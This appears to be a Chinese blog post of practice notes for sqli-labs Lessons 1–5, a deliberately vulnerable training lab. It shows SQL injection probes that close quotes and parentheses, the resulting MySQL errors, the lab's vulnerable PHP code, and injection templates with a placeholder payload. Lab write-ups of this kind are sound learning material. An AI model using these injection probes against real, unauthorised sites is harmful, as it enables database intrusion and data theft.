【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记

【SQL注入之sqli-labs】Less 1 - Less 5 练习笔记

0x00 部署sqli-labs

这部分相信大部分人都会了,我简单推荐一种简单的组合

wamp 实现一键部署,其中包含PHP环境
navicat 导入数据

这里悄悄的给出一种作弊的方法,就是在每句SQL语句后面:

echo $sql. '<br>';

如果是练习盲注的同学还是老老实实按照不作弊的方式来。

0x01 开始练习

Less 1

id=1'
id=1"

单引号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 

双引号没有报错
这里的’可以直接得出,他是基于单字符的SQL语句,我们尝试闭合他。

这里双引号为什么没有报错呢?

我们采用白盒(作弊)的方式去解释:

SELECT * FROM users WHERE id='1"' LIMIT 0,1

可以看到我们的1”被当做参数直接去调用了,不存在语法错误。

SELECT * FROM users WHERE id='1'' LIMIT 0,1

而当为单引号的时候,参数1’提早闭合了’1’那么后面的’就会报错。

我们看到后面的单引号’是多出来的,我们尝试闭合。

尝试最经典的检测方法

id=1' and '1'='1
id=1' and '1'='2

1-1
sqli-labs less 1-1

1-2
sqli-labs less 1-2

最经典的的注入的现象。

最后得出payload

id=1' and [payload] and '1'='1

Less 2

Less 2比Less 1还简单,在Less 1的基础上,我们直接得出

payload:

id=1 and [payload] and 1=1

Less 3

id=1'

出现的报错如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 

可以看出,这里的的参数可能是使用如下这种格式的:

SELECT * FROM users WHERE id=('1');

我们使用之前讲到的方法也验证的如上的说法。

首先我们要做的就是闭合这个(,尝试如下:

id=1') and (1=1

结果为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1

可以看出)的前面有个’,所以我们还要闭合这个单引号,最后就变成了。

id=1') and ('1'='1
id=1') and ('1'='2

尝试后均没有报错,得出payload:

id=1') and [payload] and ('1'='1

Less 4

这次是双引号出现报错:

id=1"

出现如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

这题和Less 3很相似,唯一不同的点就是Less 3中需要被闭合的是单引号,而4中是双引号,最后尝试构造如下:

id=1") and ("1"="1
id=1") and ("1"="2

测试成功,得出payload:

id=1") and [payload] and ("1"="1

Less 5

Less 5的答案很简单,但是他没有显示出数据,但还是可以基于报错去判断和构造SQL语句。
尝试1:

id=1'

报错内容:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

直接按照常规的方法去构造:

id=1' and '1'='1
id=1' and '1'='2

相应的结果对比:
sqli-labs Less 5-1

sqli-labs Less 5-2

其中输出的SQL语句为作弊专用。

还好是存在报错提示,不然如果出现这样没有显示数据的情况,很难判断是否已经被可以被注入了。

我们来看一下代码确认一下:

if($row)
    {
    echo '<font size="5" color="#FFFF00">'; 
    echo 'You are in...........';
    echo "<br>";
        echo "</font>";
    }
    else 
    {

    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    

    }

可以确定的是,SQL语句结果为最后为True或者False都不显示数据。
判断的条件是是否出现You are in………..这句话。
因为如果语法错误的话,直接回抛出相应的SQL报错。
那么我们就放心的构造payload:

id=1' and [payload] and '1'='1

0x03 总结

  1. 使用’和”尝试是否出现报错。
  2. 如果出现报错则为报错型SQL注入,如没有报错则进行盲注。
  3. 报错中如果出现) ‘) “)等,则进行相应的闭合即可。
  4. 熟练掌握SQL语句,学会如何闭合SQL语句。

0x04 参考文章

http://blog.csdn.net/u012763794/article/details/51207833

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值